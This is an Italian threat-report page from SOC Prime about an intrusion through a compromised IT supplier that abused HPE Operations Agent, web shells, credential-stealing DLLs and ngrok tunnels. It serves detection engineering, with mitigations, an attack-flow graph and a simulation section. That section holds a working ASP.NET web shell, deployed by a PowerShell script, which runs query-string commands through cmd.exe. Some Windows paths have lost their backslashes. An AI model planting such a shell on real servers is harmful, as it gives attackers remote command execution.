SOC Prime Bias: Critico

18 May 2026 18:27 UTC

Indagare un’Intrusione Furtiva Attraverso la Compromissione di Terze Parti

Author Photo
SOC Prime Team linkedin icon Segui
Indagare un’Intrusione Furtiva Attraverso la Compromissione di Terze Parti
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Riepilogo

Il rapporto esamina un’intrusione furtiva in cui gli attori delle minacce hanno compromesso un fornitore di servizi IT di terze parti e poi abusato del legittimo HPE Operations Agent per distribuire web shell, DLL per il furto di credenziali e utilità di tunneling. Affidandosi a software di gestione fidato anziché a sfruttamenti evidenti, gli attaccanti sono stati in grado di mantenere l’accesso a lungo termine riducendo al minimo i segni evidenti di compromissione.

Indagine

Microsoft Incident Response ha tracciato l’attività dalla distribuzione iniziale della web shell su server esposti a internet fino all’esecuzione di VBScript tramite HPE Operations Agent. L’indagine ha poi scoperto la registrazione di fornitori di rete e DLL di filtro password malevoli nei controller di dominio, seguita dal riutilizzo delle credenziali raccolte e dall’uso di tunnel ngrok per supportare il movimento laterale nell’ambiente.

Mitigazione

Le difese raccomandate includono la riduzione e il controllo rigoroso dell’accesso fidato di terze parti, il monitoraggio della registrazione non autorizzata di DLL nei pacchetti di notifica LSA, il rilevamento di modifiche sospette alle web shell, l’applicazione del filtraggio stretto dell’uscita e garantire la copertura EDR su tutti gli endpoint.

Risposta

Se viene rilevata questa attività, isolare i sistemi compromessi, rimuovere le DLL e le web shell malevoli, revocare tutte le credenziali rubate, disabilitare fornitori di rete non autorizzati e cacciare il movimento laterale utilizzando i reperti raccolti.

"graph TB %% Definizioni delle classi classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef file fill:#e6e6e6 classDef malware fill:#ff9999 %% Nodi – Accesso Iniziale action_initial_trusted["<b>Azione</b> – <b>T1199 Relazione Fiduciaria</b><br/>Compromettere il fornitore di servizi IT di terze parti e utilizzare HPE Operations Agent fidato per eseguire codice malevolo."] class action_initial_trusted action tool_hpe_oa["<b>Strumento</b> – <b>Nome</b>: HPE Operations Agent (OA)<br/><b>Scopo</b>: Agente legittimo utilizzato per eseguire script su server mirati."] class tool_hpe_oa tool %% Nodi – Esecuzione action_execution_vbscript["<b>Azione</b> – Esecuzione di VBScripts (T1059.005)<br/>Esegui <i>abc003.vbs</i> per la scoperta del sistema, della rete e di AD."] class action_execution_vbscript action file_abc003["<b>File</b> – <b>Nome</b>: abc003.vbs<br/><b>Tipo</b>: Script Visual Basic"] class file_abc003 file %% Nodi – Persistenza (Web Shell) action_persistence_webshell["<b>Azione</b> – <b>T1505.003 Componente Software del Server: Web Shell</b><br/>Distribuire <i>Errors.aspx</i> e <i>Signoff.aspx</i> web shell su server esposti a internet."] class action_persistence_webshell action file_errors["<b>File</b> – <b>Nome</b>: Errors.aspx<br/><b>Funzione</b>: Web shell per esecuzione di comandi remoti."] class file_errors file file_signoff["<b>File</b> – <b>Nome</b>: Signoff.aspx<br/><b>Funzione</b>: Web shell per esecuzione di comandi remoti."] class file_signoff file %% Nodi – Persistenza (DLL Fornitore di Rete) action_persistence_np_dll["<b>Azione</b> – <b>T1556.008 DLL Fornitore di Rete</b><br/>Registrare <i>mslogon.dll</i> malevolo sui controller di dominio per catturare credenziali in chiaro."] class action_persistence_np_dll action file_mslogon["<b>File</b> – <b>Nome</b>: mslogon.dll<br/><b>Posizione</b>: C:UtentiPubblicoMusicaabc123c.d"] class file_mslogon file %% Nodi – Persistenza (DLL Filtro Password) action_persistence_passdll["<b>Azione</b> – <b>T1556.002 DLL Filtro Password</b><br/>Aggiungere <i>passms.dll</i> come pacchetto di notifica LSA su DC01/DC02 per intercettare i cambi di password."] class action_persistence_passdll action file_passms["<b>File</b> – <b>Nome</b>: passms.dll<br/><b>Posizione</b>: C:ProgrammiDatiDiWindowsServiceUpdateDirIpd"] class file_passms file %% Nodi – Accesso alle Credenziali (File) action_cred_in_files["<b>Azione</b> – <b>T1552.001 Credenziali Nei File</b><br/>Memorizzare le credenziali raccolte in file in chiaro o codificati su disco."] class action_cred_in_files action %% Nodi – Accesso alle Credenziali (Dump OS) action_os_credential_dump["<b>Azione</b> – <b>T1003 Dump Delle Credenziali del SO</b><br/>Intercettazione basata su DLL fornisce dump delle credenziali senza strumenti esterni."] class action_os_credential_dump action %% Nodi – Movimento Laterale (Account Validi) action_lateral_local["<b>Azione</b> – <b>T1078.003 Account Validi: Account Locali</b><br/>Riutilizzare le credenziali raccolte per autenticarsi tramite RDP e SMB."] class action_lateral_local action %% Nodi – Movimento Laterale (Servizi Remoti) action_lateral_remote["<b>Azione</b> – <b>T1021 Servizi Remoti</b><br/>Stabilire sessioni RDP su tunnel ngrok criptati per muoversi lateralmente."] class action_lateral_remote action %% Nodi – Comando & Controllo (Proxy) action_c2_proxy["<b>Azione</b> – <b>T1090 Proxy</b><br/>Distribuire ngrok come proxy a più salti per creare canali C&C segreti."] class action_c2_proxy action tool_ngrok["<b>Strumento</b> – <b>Nome</b>: ngrok<br/><b>Scopo</b>: Creare tunnel TCP/HTTPS per il tunneling del traffico."] class tool_ngrok tool %% Nodi – Comando & Controllo (Tunneling Protocollo) action_c2_tunnel["<b>Azione</b> – <b>T1572 Tunneling Protocollo</b><br/>Incasellare traffico C&C all’interno di tunnel ngrok per evitare il rilevamento."] class action_c2_tunnel action %% Nodi – Raccolta (Unità Condivisa di Rete) action_collection_share["<b>Azione</b> – <b>T1039 Dati da Unità Condivisa di Rete</b><br/>Memorizzare file di credenziali codificati su condivisioni SMB remote prima dell’esfiltrazione."] class action_collection_share action %% Nodi – Evasione della Difesa (DLL Hijack) action_defense_dll["<b>Azione</b> – <b>T1574.001 Hijack Flusso di Esecuzione: DLL</b><br/><i>msupdate.dll</i> esfiltra dati tramite SMTP e SMB, camuffati da file immagine."] class action_defense_dll action file_msupdate["<b>File</b> – <b>Nome</b>: msupdate.dll<br/><b>Carico utile</b>: Dati codificati inviati come icon02.jpeg."] class file_msupdate file %% Nodi – Persistenza (DLL Helper Winlogon) action_persistence_winlogon["<b>Azione</b> – <b>T1547.004 DLL Helper Winlogon</b><br/>Registrare <i>mslogon.dll</i> come helper Winlogon per garantire l’esecuzione al logon."] class action_persistence_winlogon action %% Collegamenti – Flusso di Attacco action_initial_trusted –>|usa| tool_hpe_oa tool_hpe_oa –>|esegue| action_execution_vbscript action_execution_vbscript –>|esegue| file_abc003 action_execution_vbscript –>|porta a| action_persistence_webshell action_persistence_webshell –>|crea| file_errors action_persistence_webshell –>|crea| file_signoff action_persistence_webshell –>|abilita| action_persistence_np_dll action_persistence_np_dll –>|installa| file_mslogon action_persistence_np_dll –>|abilita| action_persistence_passdll action_persistence_passdll –>|installa| file_passms action_persistence_passdll –>|memorizza| action_cred_in_files action_cred_in_files –>|fornisce dati per| action_os_credential_dump action_os_credential_dump –>|abilita| action_lateral_local action_lateral_local –>|usa| action_lateral_remote action_lateral_remote –>|utilizza| tool_ngrok tool_ngrok –>|facilita| action_c2_proxy action_c2_proxy –>|abilita| action_c2_tunnel action_c2_tunnel –>|supporta| action_collection_share action_collection_share –>|fornisce file per| action_defense_dll action_defense_dll –>|usa| file_msupdate action_defense_dll –>|supporta| action_persistence_winlogon action_persistence_winlogon –>|si basa su| file_mslogon %% Styling class action_initial_trusted,action_execution_vbscript,action_persistence_webshell,action_persistence_np_dll,action_persistence_passdll,action_cred_in_files,action_os_credential_dump,action_lateral_local,action_lateral_remote,action_c2_proxy,action_c2_tunnel,action_collection_share,action_defense_dll,action_persistence_winlogon action class tool_hpe_oa,tool_ngrok tool class file_abc003,file_errors,file_signoff,file_mslogon,file_passms,file_msupdate file "

Flusso di Attacco

Esecuzione della Simulazione

Prerequisito: Devono essere stati superati il Controllo di Telemetria & Pre-volo Baseline.

Motivazione: Questa sezione descrive l’esecuzione precisa della tecnica dell’avversario (T1199) progettata per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente le TTP identificate e mirare a generare la telemetria esatta prevista dalla logica di rilevamento.

  • Narrazione dell’Attacco e Comandi:

    1. Compromissione Iniziale: L’attaccante ottiene l’accesso in scrittura alla radice web (ad esempio, tramite credenziali rubate o punto di caricamento vulnerabile).
    2. Distribuzione di Web-Shell: Caricano una web-shell ASP.NET malevola chiamata Errors.aspx (o modificano un esistente Signoff.aspx) che esegue comandi PowerShell arbitrari forniti tramite la stringa di query.
    3. Attivazione della Shell: L’attaccante invia una richiesta HTTP GET alla shell con un payload di PowerShell nel cmd parametro, ad esempio, https://corp.example.com/Errors.aspx?cmd=whoami. Questa richiesta viene registrata da IIS, producendo un valore cs-uri-stem di /Errors.aspx – esattamente ciò che la regola Sigma corrisponde.
  • Script di Test di Regressione: Lo script riproduce i passaggi 2-3 (il caricamento è simulato copiando un file pre-costruito nella radice web; l’attivazione viene eseguita tramite Invoke-WebRequest).

    # -------------------------------------------------
    # Script di Simulazione Web-Shell – Windows Server/IIS
    # -------------------------------------------------
    param (
        [string]$WebRoot = "C:inetpubwwwroot",
        [string]$ShellName = "Errors.aspx",
        [string]$Payload = "whoami"
    )
    
    # 1. Distribuisci una semplice web-shell ASP.NET (minimale per il test)
    $shellContent = @"
    <%@ Page Language="C#" %>
    <% 
    string cmd = Request.QueryString["cmd"];
    if (!String.IsNullOrEmpty(cmd)) {
        System.Diagnostics.Process.Start("cmd.exe", "/c " + cmd);
    }
    %>
    "@
    
    $shellPath = Join-Path $WebRoot $ShellName
    Set-Content -Path $shellPath -Value $shellContent -Encoding UTF8 -Force
    
    Write-Host "[+] Web-shell distribuito in $shellPath"
    
    # 2. Dare al server web un momento per registrare il nuovo file
    Start-Sleep -Seconds 2
    
    # 3. Esegui la web-shell per generare l'entrata log di attivazione del rilevamento
    $uri = "http://localhost/$ShellName?cmd=$Payload"
    Invoke-WebRequest -Uri $uri -UseBasicParsing | Out-Null
    
    Write-Host "[+] Web-shell attivato tramite $uri"
    # -------------------------------------------------
  • Comandi di Pulizia: Rimuovere la web-shell di prova e tutti i file residui.

    # Script di Pulizia – rimuovere la web-shell simulata
    param (
        [string]$WebRoot = "C:inetpubwwwroot",
        [string]$ShellName = "Errors.aspx"
    )
    $shellPath = Join-Path $WebRoot $ShellName
    if (Test-Path $shellPath) {
        Remove-Item -Path $shellPath -Force
        Write-Host "[+] Rimosso $shellPath"
    } else {
        Write-Host "[-] File shell non trovato; nulla da pulire."
    }